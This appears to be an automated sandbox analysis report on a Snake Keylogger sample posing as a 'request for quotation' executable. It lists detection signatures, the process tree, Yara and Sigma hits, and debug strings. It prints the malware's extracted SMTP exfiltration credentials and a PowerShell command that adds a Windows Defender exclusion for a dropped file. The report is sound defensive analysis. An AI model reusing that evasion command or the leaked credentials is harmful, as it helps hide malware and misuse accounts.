Play interactive tour

Edit tour

Analysis Report REQUEST FOR QUOTATION 4675674665.exe

Overview

General Information

Sample Name:	REQUEST FOR QUOTATION 4675674665.exe
Analysis ID:	361738
MD5:	2b813b65a6036fc0ffe198de47677f05
SHA1:	8d6203e9ef427677b1da870b649ccf624d1d3ac3
SHA256:	708085716192c45d0ec7d12bb8a80c617c308eebc6fad09de93b540c41774b4b
Tags:	exeSnakeKeylogger
Infos:
Most interesting Screenshot:

Detection

Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

System process connects to network (likely due to code injection or exploit)

Yara detected Snake Keylogger

Adds a directory exclusion to Windows Defender

Binary contains a suspicious time stamp

Creates an autostart registry key pointing to binary in C:\Windows

Drops PE files with benign system names

Drops executables to the windows directory (C:\Windows) and starts them

Hides threads from debuggers

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

May check the online IP address of the machine

Sigma detected: Suspicious Svchost Process

Sigma detected: System File Execution Location Anomaly

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Yara detected Beds Obfuscator

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Startup

System is w10x64

REQUEST FOR QUOTATION 4675674665.exe (PID: 6976 cmdline: 'C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe' MD5: 2B813B65A6036FC0FFE198DE47677F05)

powershell.exe (PID: 4296 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 4608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 584 cmdline: 'C:\Windows\System32\cmd.exe' /c timeout 1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 4480 cmdline: timeout 1 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

REQUEST FOR QUOTATION 4675674665.exe (PID: 6000 cmdline: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe MD5: 2B813B65A6036FC0FFE198DE47677F05)

REQUEST FOR QUOTATION 4675674665.exe (PID: 1900 cmdline: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe MD5: 2B813B65A6036FC0FFE198DE47677F05)

REQUEST FOR QUOTATION 4675674665.exe (PID: 4936 cmdline: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe MD5: 2B813B65A6036FC0FFE198DE47677F05)

REQUEST FOR QUOTATION 4675674665.exe (PID: 4284 cmdline: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.exe MD5: 2B813B65A6036FC0FFE198DE47677F05)

WerFault.exe (PID: 1496 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6976 -s 2608 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 1076 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6264 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4240 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 1664 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6976 -ip 6976 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

explorer.exe (PID: 1472 cmdline: 'C:\Windows\explorer.exe' 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' MD5: AD5296B280E8F522A8A897C96BAB0E1D)

explorer.exe (PID: 5660 cmdline: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding MD5: AD5296B280E8F522A8A897C96BAB0E1D)

svchost.exe (PID: 4556 cmdline: 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' MD5: 2B813B65A6036FC0FFE198DE47677F05)

powershell.exe (PID: 5520 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5044 cmdline: 'C:\Windows\System32\cmd.exe' /c timeout 1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 4260 cmdline: timeout 1 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

explorer.exe (PID: 1584 cmdline: 'C:\Windows\explorer.exe' 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' MD5: AD5296B280E8F522A8A897C96BAB0E1D)

explorer.exe (PID: 3840 cmdline: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding MD5: AD5296B280E8F522A8A897C96BAB0E1D)

svchost.exe (PID: 1424 cmdline: 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' MD5: 2B813B65A6036FC0FFE198DE47677F05)

powershell.exe (PID: 1836 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 6336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 6552 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5508 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "SMTP Info": {"Port": "587", "SMTP Credential": "test@lootahperfumes.comclever2018mail.lootahperfumes.com"}}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000018.00000002.943797908.000000000406C000.00000004.00000001.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
00000018.00000002.943797908.000000000406C000.00000004.00000001.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000F.00000002.918746756.0000000000402000.00000040.00000001.sdmp	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
0000000F.00000002.918746756.0000000000402000.00000040.00000001.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: REQUEST FOR QUOTATION 4675674665.exe PID: 4284	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
Process Memory Space: REQUEST FOR QUOTATION 4675674665.exe PID: 4284	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: REQUEST FOR QUOTATION 4675674665.exe PID: 4284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.svchost.exe.406ce98.6.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
24.2.svchost.exe.406ce98.6.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
15.2.REQUEST FOR QUOTATION 4675674665.exe.400000.1.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
15.2.REQUEST FOR QUOTATION 4675674665.exe.400000.1.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
24.2.svchost.exe.40d02b8.5.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
24.2.svchost.exe.40d02b8.5.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
24.2.svchost.exe.40d02b8.5.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
24.2.svchost.exe.40d02b8.5.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
24.2.svchost.exe.406ce98.6.raw.unpack	JoeSecurity_BedsObfuscator	Yara detected Beds Obfuscator	Joe Security
24.2.svchost.exe.406ce98.6.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Click to see the 5 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' , CommandLine: 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' , CommandLine|base64offset|contains: , Image: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe, NewProcessName: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe, OriginalFileName: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe, ParentCommandLine: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 5660, ProcessCommandLine: 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' , ProcessId: 4556

Sigma detected: System File Execution Location Anomaly

Show sources

Source: Process started

Author: Florian Roth, Patrick Bareiss: Data: Command: 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' , CommandLine: 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' , CommandLine|base64offset|contains: , Image: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe, NewProcessName: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe, OriginalFileName: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe, ParentCommandLine: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 5660, ProcessCommandLine: 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' , ProcessId: 4556

Sigma detected: Windows Processes Suspicious Parent Directory

Show sources

Source: Process started

Author: vburov: Data: Command: 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' , CommandLine: 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' , CommandLine|base64offset|contains: , Image: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe, NewProcessName: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe, OriginalFileName: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe, ParentCommandLine: C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 5660, ProcessCommandLine: 'C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe' , ProcessId: 4556

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000018.00000002.943797908.000000000406C000.00000004.00000001.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "SMTP Info": {"Port": "587", "SMTP Credential": "test@lootahperfumes.comclever2018mail.lootahperfumes.com"}}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.exe

ReversingLabs: Detection: 22%

Source: 15.2.REQUEST FOR QUOTATION 4675674665.exe.400000.1.unpack

Avira: Label: TR/Spy.Gen

Compliance:

Uses insecure TLS / SSL version for HTTPS connection

Show sources

Source: unknown	HTTPS traffic detected: 13.225.80.63:443 -> 192.168.2.4:49747 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.19.200:443 -> 192.168.2.4:49762 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.225.80.53:443 -> 192.168.2.4:49795 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.225.80.63:443 -> 192.168.2.4:49805 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.19.200:443 -> 192.168.2.4:49822 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.19.200:443 -> 192.168.2.4:49827 version: TLS 1.0

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: REQUEST FOR QUOTATION 4675674665.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Binary contains paths to debug symbols

Show sources

Source:	Binary string: rsaenh.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdb% source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdb" source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000012.00000003.756024050.00000000053A0000.00000004.00000040.sdmp
Source:	Binary string: mskeyprotect.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb0 source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdbz- source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: cryptnet.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: clr.pdb source: WerFault.exe, 00000012.00000003.756024050.00000000053A0000.00000004.00000040.sdmp
Source:	Binary string: .ni.pdb source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: C:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.PDBp source: svchost.exe, 00000015.00000002.911460686.0000000000757000.00000004.00000010.sdmp
Source:	Binary string: cryptsp.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdbV source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.ni.pdb" source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: System.Configuration.ni.pdb% source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\user\Desktop\REQUEST FOR QUOTATION 4675674665.PDB source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.816619374.00000000001A7000.00000004.00000010.sdmp
Source:	Binary string: CLBCatQ.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: ntmarta.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: urlmon.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: schannel.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: npJiVisualBasic.pdb4zs source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.816619374.00000000001A7000.00000004.00000010.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: uC:\Windows\Cursors\WyFBfGdNMamQGdJVi\svchost.PDB source: svchost.exe, 00000015.00000002.911460686.0000000000757000.00000004.00000010.sdmp
Source:	Binary string: System.Xml.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdbB source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: dwmapi.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdbd- source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscoree.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdbH source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscorsecimpl.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbk source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.pdb" source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: rsaenh.pdb0 source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdb1 source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: webio.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: gpapi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Configuration.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: secur32.pdbv- source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: iertutil.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: msasn1.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: comctl32v582.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Drawing.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: cryptsp.pdb\ source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: ncrypt.pdb\|- source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 00000012.00000003.723664026.0000000000A60000.00000004.00000001.sdmp
Source:	Binary string: ncrypt.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: Accessibility.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: secur32.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb& source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: version.pdb* source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: ml.ni.pdb source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: ole32.pdb, source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: rtutils.pdbb- source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: WinTypes.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbD source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: diasymreader.pdb_ source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: Accessibility.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: cldapi.pdb:, source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: rawing.pdb source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: ml.ni.pdb" source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: mscoreei.pdbk source: WerFault.exe, 00000012.00000003.754474634.00000000053A2000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: REQUEST FOR QUOTATION 4675674665.PDB\| source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.816619374.00000000001A7000.00000004.00000010.sdmp
Source:	Binary string: t.VisualBasic.pdb source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: (PGiLC:\Windows\Microsoft.VisualBasic.pdb source: svchost.exe, 00000015.00000002.911460686.0000000000757000.00000004.00000010.sdmp
Source:	Binary string: .pdb;( source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.816619374.00000000001A7000.00000004.00000010.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdb% source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000012.00000003.756024050.00000000053A0000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Core.ni.pdb" source: WerFault.exe, 00000012.00000003.755210087.0000000005224000.00000004.00000001.sdmp
Source:	Binary string: System.Core.ni.pdb source: WerFault.exe, 00000012.00000003.754571145.0000000005221000.00000004.00000001.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.pdbb source: WerFault.exe, 00000012.00000003.754741655.0000000005222000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: rasapi32.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: REQUEST FOR QUOTATION 4675674665.exe, 00000000.00000002.820358709.000000000070C000.00000004.00000020.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb> source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: System.Xml.ni.pdbT source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: diasymreader.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: winhttp.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: ntasn1.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: Windows.StateRepositoryPS.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: mscorlib.ni.pdb% source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.ni.pdbT3 source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: rtutils.pdb source: WerFault.exe, 00000012.00000003.754371075.00000000053AE000.00000004.00000040.sdmp
Source:	Binary string: System.pdbx source: WerFault.exe, 00000012.00000002.815185277.00000000054E0000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000012.00000003.723018344.0000000000A54000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000012.00000003.755898398.00000000053AB000.00000004.00000040.sdmp
